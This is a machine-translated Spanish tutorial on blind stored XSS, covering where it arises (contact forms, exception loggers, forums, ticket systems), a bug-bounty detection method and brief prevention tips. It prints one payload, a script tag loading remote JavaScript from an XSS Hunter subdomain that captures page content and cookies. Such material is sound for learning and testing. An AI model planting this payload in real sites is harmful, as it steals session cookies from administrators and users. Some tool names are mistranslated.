Vulnerabilidad XSS ciega
Blind XSS es bastante similar al ataque Cross-Site Scripting almacenado donde la entrada proporcionada por el atacante es guardada o almacenada por el servidor web y esta entrada almacenada se refleja en varias otras aplicaciones que están vinculadas entre sí. Solo se activa cuando el servidor web almacena la entrada del atacante en una base de datos y se ejecuta como un script malicioso en otra parte de la aplicación o en otra aplicación.
Los atacantes o piratas informáticos inyectan el script malicioso o la carga útil «a ciegas» en algunas páginas web sin tener ninguna seguridad de que se ejecutará. Las páginas web que probablemente guarden su carga útil en la base de datos son el portador más importante para los ataques Blind XSS.
Si el formulario de contacto es parte de la página web y tiene que almacenar sus datos en un servidor web o una base de datos, entonces aquí vienen los atacantes con su ataque. El atacante inyecta código en los formularios de contacto y espera a que el usuario del lado del servidor o el miembro del equipo abran o activen ese código malicioso o la carga útil para ejecutarse.
Blind XSS es un ataque de secuencias de comandos entre sitios persistente (almacenado). Es un reto Diferente. No es como Blind SQLI donde obtienes comentarios rápidos. No tiene idea de dónde terminarán sus scripts maliciosos. A decir verdad, ni siquiera sabe si su script malicioso o carga útil se ejecutará o cuándo se ejecutará.
Representación esquemática de Blind XSS:
Impacto
Se pueden aprovechar muchos ataques diferentes mediante el uso de secuencias de comandos entre sitios, que incluyen:
- Secuestro de la sesión activa del usuario.
- Montaje de ataques de phishing.
- Interceptar datos y realizar ataques man-in-the-middle.
Los ataques XSS ciegos pueden ocurrir en:
- Páginas de contacto/comentarios
- Registrar espectadores
- Manejadores de excepciones
- Aplicaciones de chat / foros
- Requests de tickets de clientes
- Cortafuegos de aplicaciones web
- Cualquier aplicación que requiera moderación del usuario
- aplicaciones de servicio al cliente
Ejemplos:
Campos de entrada:
Por ejemplo, imagina que tienes una aplicación interna para gestionar el inventario de una tienda online. En esta aplicación, los distribuidores ingresan la información de diferentes productos que se almacenan en un servidor de base de datos. La misma base de datos también es utilizada por una aplicación de tienda en línea, que está expuesta a Internet para todos los clientes y necesita leer la información del producto de la base de datos inicial. Si un usuario inyecta una string maliciosa en la aplicación interna, no importa si la tienda en línea ha implementado correctamente los controles de validación de entrada, ya que la información en la tienda se lee desde la misma base de datos, por lo que la tienda mostrará el ataque.
Formularios de comentarios:
Por ejemplo, en los formularios de comentarios, un atacante puede enviar la carga útil maliciosa utilizando el formulario, y una vez que el usuario/administrador de backend de la aplicación abra el formulario enviado por el atacante a través de la aplicación de backend, la carga útil del atacante se ejecutará. Blind Cross-site Scripting es difícil de confirmar en el escenario del mundo real, pero una de las mejores herramientas para esto es XSS Hunter.
Controladores de excepciones :
Otro ejemplo de ataques Blind XSS son las soluciones de registro, como los controladores de excepciones. El atacante puede usar la API del registrador para registrar algún código malicioso en lugar de un error. En el tablero de la solución de manejo de excepciones, donde se muestran los errores registrados, el código malicioso se procesará y ejecutará.
Foro de chat:
Los atacantes pueden colocar los scripts maliciosos dentro del título del tema en un foro o foro de chat. Nuevamente, lo más común es que el servidor guarde su publicación en una base de datos, y la información almacenada puede quedar expuesta a otros espectadores, como moderadores, durante algún tiempo. En este escenario, la secuencia de comandos puede quedar limpia cuando se entrega a los usuarios normales, lo que desactivará el código malicioso. Sin embargo, cuando un moderador del foro cargue una página web de administración del foro, como un informe de popularidad de hilos, por ejemplo, los títulos de temas maliciosos pueden cargarse y, en consecuencia, se ejecutará el script del atacante, devolviendo la llamada con información robada, redirigiendo el usuario o causar ataques de denegación de servicio, por ejemplo, llamando al código dentro de la interfaz de administración que detiene el foro. Los objetivos típicos de los usuarios son moderadores de foros o tableros de foros de chat,
Detección de Blind XSS en aplicaciones web para Bug Bounty Hunting:
Hay herramientas que pueden hacer que esto sea mucho más fácil de detectar y manejar. XSS Hunter es una herramienta fantástica para la detección de Blind XSS en cualquier aplicación basada en la web.
La forma en que funciona es inyectar la carga útil como una etiqueta de JavaScript externa:
(<script src=//susubdominio.xss.ht></script>)
Cuando una vulnerabilidad XSS está presente en la aplicación, el cliente ejecutará esta secuencia de comandos y se ejecutará la carga útil de la secuencia de comandos. La carga útil tomará una instantánea de la página, así como la fuente HTML, las cookies (sin configurar HttpOnly) y otra información esencial útil. Ahora podemos reducir la vulnerabilidad XSS cada vez que un usuario la activa. La otra gran ventaja de la herramienta es que ha sido de código abierto, por lo que también puede configurar una instancia privada.
Algunas herramientas de detección más disponibles en Internet son:
- Colaborador de eructos
- KnoXSS
- Cazador bXSS
Prevenir ataques Blind XSS:
Al igual que el lado ofensivo, el lado defensivo también es muy importante en la seguridad.
Así que aquí hay algunos lados defensivos o pasos de prevención para salvar su aplicación web de Blind XSS.
- La forma más común y efectiva de lograr esto es que los desarrolladores web revisen el código y se aseguren de que cualquier entrada del usuario se filtre correctamente.
- Necesita una herramienta especializada que realice pruebas de penetración inocuas, que además de detectar las vulnerabilidades XSS fáciles de detectar.
- Si su sitio web se implementa con la última tecnología, como HTML 5, o si se asegura de que su servidor web esté completamente parcheado, la aplicación web aún puede ser vulnerable a XSS.
- Es una buena práctica de codificación nunca confiar en los datos proporcionados por el usuario.
Publicación traducida automáticamente
Artículo escrito por gauravgandal y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA